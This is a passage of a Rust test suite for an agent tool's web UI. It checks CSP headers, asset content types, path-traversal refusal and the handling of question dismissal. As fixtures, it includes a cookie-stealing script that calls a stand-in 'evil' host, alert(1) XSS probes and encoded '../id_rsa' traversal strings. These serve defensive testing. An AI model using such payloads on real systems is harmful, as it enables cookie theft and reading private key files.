11758    #[tokio::test]
11759    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11760    async fn list_endpoints_large_home_ceiling() {
11761        check_large_home_endpoints(true).await;
11762    }
11763
11764    async fn check_large_home_endpoints(timed: bool) {
11765        let (_tmp, repos, fx) = performance_fixture().await;
11766        seed_performance(&fx, &repos, 200, 300, 400);
11767        let mut failures = Vec::new();
11768        // app.js boot/change loads plus the initial dashboard, settings and
11769        // repo picker. SSE is a persistent stream, not a bounded GET.
11770        for path in [
11771            "/",
11772            "/app.js",
11773            "/app.css",
11774            "/api/questions",
11775            "/api/runs?limit=300",
11776            "/api/queue",
11777            "/api/talks",
11778            "/api/notifications",
11779            "/api/health",
11780            "/api/stats",
11781            "/api/loop",
11782            "/api/settings",
11783            "/api/repos",
11784        ] {
11785            let start = std::time::Instant::now();
11786            let result = if timed {
11787                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11788            } else {
11789                Ok(fx.get(path).await)
11790            };
11791            let elapsed = start.elapsed();
11792            eprintln!("{path}: {elapsed:?}");
11793            match result {
11794                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11795                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11796                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11797            }
11798        }
11799        assert!(failures.is_empty(), "{}", failures.join("\n"));
11800    }
11801
11802    struct Res {
11803        status: u16,
11804        headers: String,
11805        /// The header block with its original casing, for the assertions that
11806        /// compare a header *value* rather than looking for a name. Lowercasing
11807        /// a CSP would hide a directive spelled with a capital letter, and the
11808        /// whole point of that test is that the string is exactly right.
11809        head: String,
11810        body: String,
11811        /// The body before any UTF-8 handling, for the routes that serve
11812        /// something other than text. A panel asset is a PNG as often as not,
11813        /// and `from_utf8_lossy` would silently replace half of it.
11814        bytes: Vec<u8>,
11815    }
11816
11817    impl Res {
11818        fn json(&self) -> Value {
11819            serde_json::from_str(&self.body)
11820                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11821        }
11822
11823        /// One header's value verbatim, or `None` when it was not sent.
11824        fn header(&self, name: &str) -> Option<&str> {
11825            self.head.lines().find_map(|line| {
11826                let (key, value) = line.split_once(':')?;
11827                key.trim()
11828                    .eq_ignore_ascii_case(name)
11829                    .then(|| value.trim_start().trim_end_matches('\r'))
11830            })
11831        }
11832    }
11833
11834    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11835    /// be read to end-of-stream without parsing framing.
11836    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11837        request_with(addr, method, path, body, &[]).await
11838    }
11839
11840    /// As [`request`], with extra request headers - conditional GETs need
11841    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11842    /// worse than one that sets none.
11843    async fn request_with(
11844        addr: SocketAddr,
11845        method: &str,
11846        path: &str,
11847        body: Option<&str>,
11848        extra: &[(&str, &str)],
11849    ) -> Res {
11850        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11851        for (name, value) in extra {
11852            head.push_str(&format!("{name}: {value}\r\n"));
11853        }
11854        if let Some(body) = body {
11855            head.push_str("Content-Type: application/json\r\n");
11856            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11857        }
11858        head.push_str("\r\n");
11859        if let Some(body) = body {
11860            head.push_str(body);
11861        }
11862        let mut socket = tokio::net::TcpStream::connect(addr)
11863            .await
11864            .expect("connect to the test server");
11865        socket
11866            .write_all(head.as_bytes())
11867            .await
11868            .expect("write request");
11869        let mut raw = Vec::new();
11870        socket.read_to_end(&mut raw).await.expect("read response");
11871        // Split on the raw bytes rather than on a lossy string, so a binary
11872        // body survives to be compared byte for byte.
11873        let split = raw
11874            .windows(4)
11875            .position(|w| w == b"\r\n\r\n")
11876            .expect("a header block");
11877        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11878        let bytes = raw[split + 4..].to_vec();
11879        let status = head
11880            .lines()
11881            .next()
11882            .and_then(|line| line.split_whitespace().nth(1))
11883            .and_then(|code| code.parse().ok())
11884            .expect("a status line");
11885        Res {
11886            status,
11887            headers: head.to_lowercase(),
11888            head,
11889            body: String::from_utf8_lossy(&bytes).into_owned(),
11890            bytes,
11891        }
11892    }
11893
11894    /// A `POST` carrying a raw binary body and its own headers, for the
11895    /// attachment upload route - `request_with` only ever sends
11896    /// `Content-Type: application/json`, which is wrong for an image and
11897    /// would corrupt anything not valid UTF-8 by round-tripping it through
11898    /// `&str` first.
11899    async fn request_bytes(
11900        addr: SocketAddr,
11901        path: &str,
11902        headers: &[(&str, &str)],
11903        body: &[u8],
11904    ) -> Res {
11905        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11906        for (name, value) in headers {
11907            head.push_str(&format!("{name}: {value}\r\n"));
11908        }
11909        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11910        let mut socket = tokio::net::TcpStream::connect(addr)
11911            .await
11912            .expect("connect to the test server");
11913        socket
11914            .write_all(head.as_bytes())
11915            .await
11916            .expect("write request head");
11917        socket.write_all(body).await.expect("write request body");
11918        let mut raw = Vec::new();
11919        socket.read_to_end(&mut raw).await.expect("read response");
11920        let split = raw
11921            .windows(4)
11922            .position(|w| w == b"\r\n\r\n")
11923            .expect("a header block");
11924        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11925        let bytes = raw[split + 4..].to_vec();
11926        let status = head
11927            .lines()
11928            .next()
11929            .and_then(|line| line.split_whitespace().nth(1))
11930            .and_then(|code| code.parse().ok())
11931            .expect("a status line");
11932        Res {
11933            status,
11934            headers: head.to_lowercase(),
11935            head,
11936            body: String::from_utf8_lossy(&bytes).into_owned(),
11937            bytes,
11938        }
11939    }
11940
11941    /// A run on disk, without touching the process-global magi home.
11942    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11943        let mut state = RunState::new(
11944            PathBuf::from("/repo/magi"),
11945            "main".to_owned(),
11946            "0123456789abcdef".to_owned(),
11947            "Add a web UI\n\nMobile first.".to_owned(),
11948            Config::default(),
11949        );
11950        state.id = id.to_owned();
11951        state.status = status;
11952        let dir = runs.join(id);
11953        std::fs::create_dir_all(&dir).expect("run dir");
11954        std::fs::write(
11955            dir.join("run.json"),
11956            serde_json::to_string_pretty(&state).expect("serialize run"),
11957        )
11958        .expect("write run.json");
11959    }
11960
11961    /// Same as [`write_run`], but against a named repository rather than the
11962    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11963    /// spread across more than one.
11964    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11965        let mut state = RunState::new(
11966            PathBuf::from(repo),
11967            "main".to_owned(),
11968            "0123456789abcdef".to_owned(),
11969            "task".to_owned(),
11970            Config::default(),
11971        );
11972        state.id = id.to_owned();
11973        state.status = status;
11974        let dir = runs.join(id);
11975        std::fs::create_dir_all(&dir).expect("run dir");
11976        std::fs::write(
11977            dir.join("run.json"),
11978            serde_json::to_string_pretty(&state).expect("serialize run"),
11979        )
11980        .expect("write run.json");
11981    }
11982
11983    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11984        let body = serde_json::json!({
11985            "schema": 1,
11986            "pid": 4242,
11987            "started_at": Timestamp::now().to_string(),
11988            "updated_at": updated_at.to_string(),
11989            "idle": false,
11990            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11991            "completed": 7,
11992            "polls": 143,
11993        });
11994        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11995    }
11996
11997    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11998    ///
11999    /// No test in this file may start the real loop - see [`Ui::launch`] for
12000    /// why - so this stands in for the only thing the routes need a loop to
12001    /// do: keep running until `Stop` is set, then return. A real
12002    /// `serve_until` here would resolve its queue and its status file through
12003    /// the process-global magi home, claim whatever it found in the
12004    /// operator's live backlog, overwrite the status file of the `magi serve`
12005    /// that owns it, and spend real agent quota on a real competition.
12006    fn launch_idle(
12007        _opts: daemon::Opts,
12008        stop: daemon::Stop,
12009    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12010        Box::pin(async move {
12011            while !stop.stopped() {
12012                tokio::time::sleep(Duration::from_millis(2)).await;
12013            }
12014            Ok(())
12015        })
12016    }
12017
12018    /// A loop that fails on the way up, the way one whose home has gone
12019    /// read-only does.
12020    fn launch_broken(
12021        _opts: daemon::Opts,
12022        _stop: daemon::Stop,
12023    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12024        // The stand-in dies instantly, so a restarted one can record its own
12025        // failure before the start's response is read. The second attempt
12026        // therefore fails with a different message, to tell a stale error
12027        // from a fresh one.
12028        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12029        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12030        Box::pin(async move {
12031            Err(anyhow::anyhow!(if first {
12032                "publish the daemon status file: read-only file system"
12033            } else {
12034                "the restarted stand-in failed as well"
12035            }))
12036        })
12037    }
12038
12039    /// The loop view once `want` accepts it.
12040    ///
12041    /// Polled rather than asserted straight after the POST because stopping
12042    /// is deliberately not instant - that is the contract - and rather than
12043    /// slept through because a fixed wait is either flaky or slow.
12044    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12045    /// finite, so a genuine hang fails the test instead of hanging the
12046    /// suite.
12047    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12048        for _ in 0..SETTLE_STEPS {
12049            let view = fx.get("/api/loop").await.json();
12050            if want(&view) {
12051                return view;
12052            }
12053            tokio::time::sleep(Duration::from_millis(10)).await;
12054        }
12055        panic!(
12056            "the loop never settled: {}",
12057            fx.get("/api/loop").await.json()
12058        );
12059    }
12060
12061    /// File an open question directly in the store the server reads.
12062    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12063        let store = fx.questions();
12064        let mut q = Question::new(
12065            "20260902-000000-beef".to_owned(),
12066            "implement".to_owned(),
12067            "impl-A".to_owned(),
12068            summary.to_owned(),
12069            "because it matters".to_owned(),
12070            choices.iter().map(|c| (*c).to_owned()).collect(),
12071        );
12072        store.put(&mut q).expect("put question");
12073        q.id
12074    }
12075
12076    /// A question with a panel the server can serve, plus the named assets.
12077    ///
12078    /// Written through `Questions::put_panel` rather than by laying out the
12079    /// directory here, so these tests exercise the same on-disk shape the
12080    /// agents produce and cannot pass against a layout only the tests know.
12081    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12082        let store = fx.questions();
12083        let mut q = Question::new(
12084            "20260902-000000-beef".to_owned(),
12085            "land".to_owned(),
12086            "fix".to_owned(),
12087            "Merge this?".to_owned(),
12088            "the diff is in the panel".to_owned(),
12089            vec!["merge".to_owned(), "hold".to_owned()],
12090        );
12091        // Staged outside the questions root, because `put_panel` copies from
12092        // wherever the agent left its files.
12093        let staging = fx.home.path().join("staging");
12094        std::fs::create_dir_all(&staging).expect("staging dir");
12095        let sources: Vec<PathBuf> = assets
12096            .iter()
12097            .map(|(name, bytes)| {
12098                let path = staging.join(name);
12099                std::fs::write(&path, bytes).expect("write staged asset");
12100                path
12101            })
12102            .collect();
12103        store
12104            .put_panel(&mut q, html, &sources)
12105            .expect("write the panel");
12106        store.put(&mut q).expect("put question");
12107        q.id
12108    }
12109
12110    /// A talk on disk, without talking to a model.
12111    ///
12112    /// Written as JSON straight into the store the server reads, because the
12113    /// only constructor `talk::begin` offers takes no turn but still requires
12114    /// a real caller-visible flow. The one thing this cannot make up is the
12115    /// seat, so it is built with the real `SeatState::new` and serialized -
12116    /// the alternative, hand-writing that object, would make these tests fail
12117    /// the day the seat gains a field.
12118    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12119        seed_talk_at(&fx.talks(), id, status)
12120    }
12121
12122    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12123        std::fs::create_dir_all(store.root()).expect("talks dir");
12124        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12125            .expect("serialize a seat");
12126        let body = serde_json::json!({
12127            "schema": 1,
12128            "id": id,
12129            "repo": "/repo/magi",
12130            "agent": "mock",
12131            "status": status,
12132            "turns": [],
12133            "created_at": Timestamp::now().to_string(),
12134            "updated_at": Timestamp::now().to_string(),
12135            "seat": seat,
12136        });
12137        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12138        store.get(id).expect("the seeded talk has to be readable");
12139        id.to_owned()
12140    }
12141
12142    #[tokio::test]
12143    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12144        let fx = Fixture::start().await;
12145        let id = panel(
12146            &fx,
12147            "<h1>Merge?</h1><img src=\"diff.svg\">",
12148            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12149        );
12150
12151        for path in [
12152            format!("/api/questions/{id}/panel"),
12153            format!("/api/questions/{id}/asset/diff.svg"),
12154        ] {
12155            let res = fx.get(&path).await;
12156            assert_eq!(res.status, 200, "{path}: {}", res.body);
12157            // The whole string, not a substring. A weakened directive - an
12158            // `img-src *` that lets a panel beacon out to a remote host, a
12159            // `script-src` anything, a missing `form-action` that lets it post
12160            // the owner's decision to a third party - has to fail here, and a
12161            // `contains` assertion would let every one of those through.
12162            assert_eq!(
12163                res.header("content-security-policy"),
12164                Some(
12165                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12166                     font-src data:; base-uri 'none'; form-action 'none'; \
12167                     frame-ancestors 'self'"
12168                ),
12169                "{path} is the only thing between a hostile panel and the tailnet"
12170            );
12171            assert_eq!(
12172                res.header("x-content-type-options"),
12173                Some("nosniff"),
12174                "{path}: a browser must not re-decide the type we sent"
12175            );
12176            assert_eq!(
12177                res.header("referrer-policy"),
12178                Some("no-referrer"),
12179                "{path}: a panel must not leak the question id off the machine"
12180            );
12181
12182            // The front end mounts the frame only after a `HEAD` says the
12183            // panel is there, so `HEAD` has to answer with the same status and
12184            // the same policy as `GET` - a preflight that came back without
12185            // the CSP would mean a frame mounted on an unverified promise.
12186            let pre = fx.head(&path).await;
12187            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12188            assert_eq!(
12189                pre.header("content-security-policy"),
12190                res.header("content-security-policy"),
12191                "{path}: the preflight carries the same policy"
12192            );
12193            assert_eq!(
12194                pre.header("content-type"),
12195                res.header("content-type"),
12196                "{path}: the preflight carries the same type"
12197            );
12198        }
12199    }
12200
12201    #[tokio::test]
12202    async fn a_panel_reaches_the_browser_byte_for_byte() {
12203        let fx = Fixture::start().await;
12204        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12205        // tag, an entity, and a multi-byte character. The sandbox is what makes
12206        // this safe, so nothing here may be rewritten on the way out - a
12207        // rewritten diff is a diff the owner cannot trust.
12208        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12209        let id = panel(&fx, html, &[]);
12210
12211        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12212
12213        assert_eq!(res.status, 200);
12214        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12215        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12216        assert_eq!(
12217            res.header("content-disposition"),
12218            None,
12219            "the panel itself is rendered in the frame, not downloaded"
12220        );
12221    }
12222
12223    #[tokio::test]
12224    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12225        let fx = Fixture::start().await;
12226        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12227        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12228        let id = panel(
12229            &fx,
12230            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12231            &[("diff.svg", svg), ("shot.png", png)],
12232        );
12233
12234        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12235        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12236
12237        assert_eq!(as_svg.status, 200);
12238        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12239        // An SVG is XML that may carry script. Inside the panel it is an
12240        // `<img src>` and the script cannot run; opened at the top level it
12241        // would be a document on magi's own origin, so the browser is told to
12242        // download it instead of rendering it.
12243        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12244
12245        assert_eq!(as_png.status, 200);
12246        assert_eq!(as_png.header("content-type"), Some("image/png"));
12247        assert_eq!(
12248            as_png.header("content-disposition"),
12249            None,
12250            "a raster image has no execution surface, so tapping it still shows it"
12251        );
12252        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12253    }
12254
12255    #[tokio::test]
12256    async fn an_html_asset_is_never_served_as_html() {
12257        let fx = Fixture::start().await;
12258        let id = panel(
12259            &fx,
12260            "<p>see the notes</p>",
12261            &[
12262                (
12263                    "notes.html",
12264                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12265                ),
12266                ("hook.js", b"fetch('http://evil/')"),
12267                ("data.json", b"{}"),
12268                ("HEADLINE.TXT", b"plain"),
12269            ],
12270        );
12271
12272        for name in ["notes.html", "hook.js", "data.json"] {
12273            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12274            assert_eq!(res.status, 200, "{name}: {}", res.body);
12275            // Serving this as text/html would be a way to reach agent markup
12276            // at the top level of the operator's browser, outside the frame's
12277            // sandbox and outside its CSP - which is the whole thing the panel
12278            // design exists to prevent. Unlisted types are downloads.
12279            assert_eq!(
12280                res.header("content-type"),
12281                Some("application/octet-stream"),
12282                "{name} must not be a type the browser will execute or render"
12283            );
12284        }
12285        // The whitelist is matched case-insensitively, so an agent shouting the
12286        // extension still gets a readable file rather than a download.
12287        let txt = fx
12288            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12289            .await;
12290        assert_eq!(
12291            txt.header("content-type"),
12292            Some("text/plain; charset=utf-8")
12293        );
12294    }
12295
12296    #[tokio::test]
12297    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12298        let fx = Fixture::start().await;
12299        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12300        // Something outside the panel directory that a traversal would reach if
12301        // one got through, so a passing test is not merely "the file was
12302        // missing anyway".
12303        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12304
12305        // Decoded before this server's handler sees them: axum percent-decodes
12306        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12307        // string with a NUL in it. All three look like ordinary single-segment
12308        // filenames to the router, so the router passes them through and
12309        // `valid_asset_name` is what refuses them - for the literal `..`, and
12310        // for `/`, `\` and NUL not being in the permitted character set.
12311        for encoded in [
12312            "%2e%2e%2fid_rsa",
12313            "..%2fid_rsa",
12314            "..%5cid_rsa",
12315            "%2e%2e%5cid_rsa",
12316            "diff%00.svg",
12317            "..",
12318            ".hidden",
12319            "%2e%2e%2f%2e%2e%2fid_rsa",
12320        ] {
12321            let res = fx
12322                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12323                .await;
12324            assert_eq!(
12325                res.status, 400,
12326                "`{encoded}` has to be refused by name, not looked up: {}",
12327                res.body
12328            );
12329            assert!(res.json()["error"].is_string(), "{}", res.body);
12330        }
12331
12332        // Not decoded, and never this handler's problem: a real slash makes the
12333        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12334        // so axum's router has no route to match and answers before any code
12335        // here runs. Asserted so that a future route with a wildcard segment
12336        // cannot quietly open this door.
12337        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12338            let res = fx
12339                .get(&format!("/api/questions/{id}/asset/{literal}"))
12340                .await;
12341            assert_eq!(
12342                res.status, 404,
12343                "`{literal}` must not match the asset route at all: {}",
12344                res.body
12345            );
12346        }
12347    }
12348
12349    #[tokio::test]
12350    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12351        let fx = Fixture::start().await;
12352        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12353        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12354
12355        // A question nobody wrote a panel for. The client preflights with HEAD
12356        // and cannot see inside a sandboxed frame, so this must be a status and
12357        // not an empty page.
12358        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12359        assert_eq!(none.status, 404, "{}", none.body);
12360        assert!(none.json()["error"].is_string(), "{}", none.body);
12361        assert_eq!(
12362            fx.head(&format!("/api/questions/{plain}/panel"))
12363                .await
12364                .status,
12365            404,
12366            "the preflight is the only way the client can learn this"
12367        );
12368
12369        // A name that is perfectly legal and simply is not there.
12370        let missing = fx
12371            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12372            .await;
12373        assert_eq!(missing.status, 404, "{}", missing.body);
12374        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12375
12376        // A question that does not exist at all, on both routes.
12377        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12378        assert_eq!(
12379            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12380            404
12381        );
12382    }
12383
12384    #[tokio::test]
12385    async fn a_run_with_an_open_question_reads_as_waiting() {
12386        let fx = Fixture::start().await;
12387        let run = "20260902-000000-beef".to_owned();
12388        write_run(&fx.runs(), &run, RunStatus::Implementing);
12389
12390        let before = fx.get("/api/runs").await.json();
12391        assert_eq!(before[0]["waiting"], false, "{before}");
12392
12393        let store = fx.questions();
12394        let mut q = Question::new(
12395            run.clone(),
12396            "implement".to_owned(),
12397            "impl-A".to_owned(),
12398            "Which backend?".to_owned(),
12399            String::new(),
12400            vec!["SQLite".to_owned()],
12401        );
12402        store.put(&mut q).expect("put");
12403
12404        let during = fx.get("/api/runs").await.json();
12405        assert_eq!(during[0]["waiting"], true, "{during}");
12406
12407        // Answered: the run is moving again, and the flag has to follow without
12408        // anything having rewritten run.json.
12409        q.answer(Answer::Choice("SQLite".to_owned()))
12410            .expect("answer");
12411        store.put(&mut q).expect("put");
12412        let after = fx.get("/api/runs").await.json();
12413        assert_eq!(after[0]["waiting"], false, "{after}");
12414    }
12415
12416    #[tokio::test]
12417    async fn an_open_question_is_listed_and_counted_by_health() {
12418        let fx = Fixture::start().await;
12419        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12420
12421        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12422        let listed = fx.get("/api/questions").await.json();
12423        assert_eq!(listed.as_array().expect("array").len(), 1);
12424        assert_eq!(listed[0]["id"], id);
12425        assert_eq!(listed[0]["status"], "open");
12426        assert_eq!(listed[0]["choices"][1], "Redis");
12427        // The count is what makes the phone's indicator honest: it is the one
12428        // number meaning nothing will move until a human acts.
12429        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12430    }
12431
12432    fn obsolete_approval_state() -> RunState {
12433        let mut state = crate::land::tests::repair_state(true, true);
12434        state.pr = Some(crate::run::PrRecord {
12435            url: "https://github.com/example/repo/pull/42".into(),
12436            number: 42,
12437            state: "open".into(),
12438            checks: "green".into(),
12439            round: 1,
12440            rounds: 4,
12441            red_at_merge: Vec::new(),
12442        });
12443        state
12444    }
12445
12446    #[tokio::test]
12447    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12448        for owner in ["missing", "current", "completed", "later"] {
12449            let fx = Fixture {
12450                home: TempDir::new().unwrap(),
12451                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12452            };
12453            let mut state = obsolete_approval_state();
12454            state.status = RunStatus::Landing;
12455            state.parked = true;
12456            state.driver_exited = true;
12457            let mut q = Question::new(
12458                state.id.clone(),
12459                crate::land::APPROVAL_NODE.into(),
12460                "land".into(),
12461                "Old approval".into(),
12462                "Original evidence".into(),
12463                vec!["merge".into(), "hold".into()],
12464            );
12465            state.land_approval = Some(crate::run::LandApproval {
12466                question: q.id.clone(),
12467                head: "head".into(),
12468            });
12469            state.save_under(fx.home.path()).unwrap();
12470            let stale = state.clone();
12471            fx.questions().put(&mut q).unwrap();
12472            let mut task = Task::new(
12473                "Owner".into(),
12474                "Original instruction".into(),
12475                state.repo.clone(),
12476                Source::Human,
12477            );
12478            task.runs.push(state.id.clone());
12479            task.status = if owner == "completed" {
12480                TaskStatus::Done
12481            } else {
12482                TaskStatus::Parked
12483            };
12484            if owner == "later" {
12485                task.runs.push("later-run".into());
12486            }
12487            if owner != "missing" {
12488                fx.queue().put(&mut task).unwrap();
12489            }
12490            let ui = Arc::new(Ui::new(
12491                fx.queue(),
12492                fx.questions(),
12493                fx.talks(),
12494                fx.runs(),
12495                fx.home.path().into(),
12496                state.repo.clone(),
12497            ));
12498            let response = question_answer(
12499                State(ui),
12500                Path(q.id.clone()),
12501                Ok(Json(NewAnswer {
12502                    choice: Some(crate::merge_decision::DISMISS.into()),
12503                    text: None,
12504                    ..Default::default()
12505                })),
12506            )
12507            .await
12508            .unwrap();
12509            assert_eq!(
12510                response.0.question.resolution().as_deref(),
12511                Some(crate::merge_decision::DISMISS)
12512            );
12513            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12514            assert_eq!(disk.status, RunStatus::Superseded);
12515            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12516            assert!(!crate::merge_decision::resumable_hold(&disk));
12517            assert_eq!(
12518                serde_json::to_value(&disk.pr).unwrap(),
12519                serde_json::to_value(&stale.pr).unwrap()
12520            );
12521            assert_eq!(fx.questions().count_open(), 0);
12522            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12523            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12524            if owner == "missing" {
12525                assert!(fx.queue().list().is_empty());
12526            } else {
12527                let after = fx.queue().get(&task.id).unwrap();
12528                assert_eq!(
12529                    after.status,
12530                    if owner == "current" {
12531                        TaskStatus::Done
12532                    } else {
12533                        task.status
12534                    }
12535                );
12536                assert_eq!(after.runs, task.runs);
12537                assert_eq!(after.instruction, task.instruction);
12538                assert_eq!(after.action_applied(&q.id), owner == "current");
12539            }
12540        }
12541    }
12542
12543    #[tokio::test]
12544    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12545        let fx = Fixture::start().await;
12546        let mut state = obsolete_approval_state();
12547        state.status = RunStatus::Landing;
12548        state.parked = true;
12549        state.driver_exited = true;
12550        let mut q = Question::new(
12551            state.id.clone(),
12552            crate::land::APPROVAL_NODE.into(),
12553            "land".into(),
12554            "Superseded PR approval".into(),
12555            "Original review evidence".into(),
12556            vec!["merge".into(), "hold".into()],
12557        );
12558        state.land_approval = Some(crate::run::LandApproval {
12559            question: q.id.clone(),
12560            head: "old-reviewed-head".into(),
12561        });
12562        // The old persisted PR may still say open even when a separate change
12563        // already landed. Dismissal must not use that snapshot to close it.
12564        state.save_under(fx.home.path()).unwrap();
12565        let stale_driver = state.clone();
12566        fx.questions().put(&mut q).unwrap();
12567        let path = fx
12568            .home
12569            .path()
12570            .join("questions")
12571            .join(format!("{}.json", q.id));
12572        let mut legacy = serde_json::to_value(&q).unwrap();
12573        legacy["schema"] = 9.into();
12574        legacy.as_object_mut().unwrap().remove("merge_target");
12575        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12576
12577        // POST without GET tests legacy upgrade and validation at the actual
12578        // entry point, rather than constructing a modern card in the test.
12579        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12580        let answer_path = format!("/api/questions/{}/answer", q.id);
12581        let res = fx.post(&answer_path, Some(&body)).await;
12582        assert_eq!(res.status, 200, "{}", res.body);
12583        let disk = fx.questions().get(&q.id).unwrap();
12584        assert_eq!(
12585            disk.resolution().as_deref(),
12586            Some(crate::merge_decision::DISMISS)
12587        );
12588        assert!(disk.detail.starts_with("Original review evidence"));
12589        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12590        assert_eq!(retired.status, RunStatus::Superseded);
12591        assert_eq!(
12592            serde_json::to_value(&retired.pr).unwrap(),
12593            serde_json::to_value(&state.pr).unwrap()
12594        );
12595        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12596        assert!(!crate::merge_decision::resumable_hold(&retired));
12597        assert!(fx.queue().list().is_empty());
12598        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12599        // A restarted server re-reads the persisted pending list.
12600        let addr = Fixture::serve(
12601            fx.home.path(),
12602            PathBuf::from("/repo/magi"),
12603            launch_idle,
12604            None,
12605        )
12606        .await;
12607        let reconnected = Fixture {
12608            home: fx.home,
12609            addr,
12610        };
12611        let listed = reconnected.get("/api/questions").await.json();
12612        assert!(
12613            listed
12614                .as_array()
12615                .unwrap()
12616                .iter()
12617                .all(|q| q["status"] != "open")
12618        );
12619        assert_eq!(listed[0]["id"], q.id, "history remains available");
12620        assert_eq!(
12621            reconnected.get("/api/health").await.json()["questions_open"],
12622            0
12623        );
12624        assert_eq!(
12625            reconnected
12626                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12627                .await
12628                .status,
12629            409
12630        );
12631        // A late waiter cannot turn the old answer into a new decision.
12632        assert!(
12633            reconnected
12634                .questions()
12635                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12636                .is_err()
12637        );
12638        // The same guard used by claims, repair and publication rejects a
12639        // saved in-memory driver as well as the persisted terminal record.
12640        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12641    }
12642
12643    #[tokio::test]
12644    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12645        let fx = Fixture::start().await;
12646        let mut state = obsolete_approval_state();
12647        state.status = RunStatus::Landing;
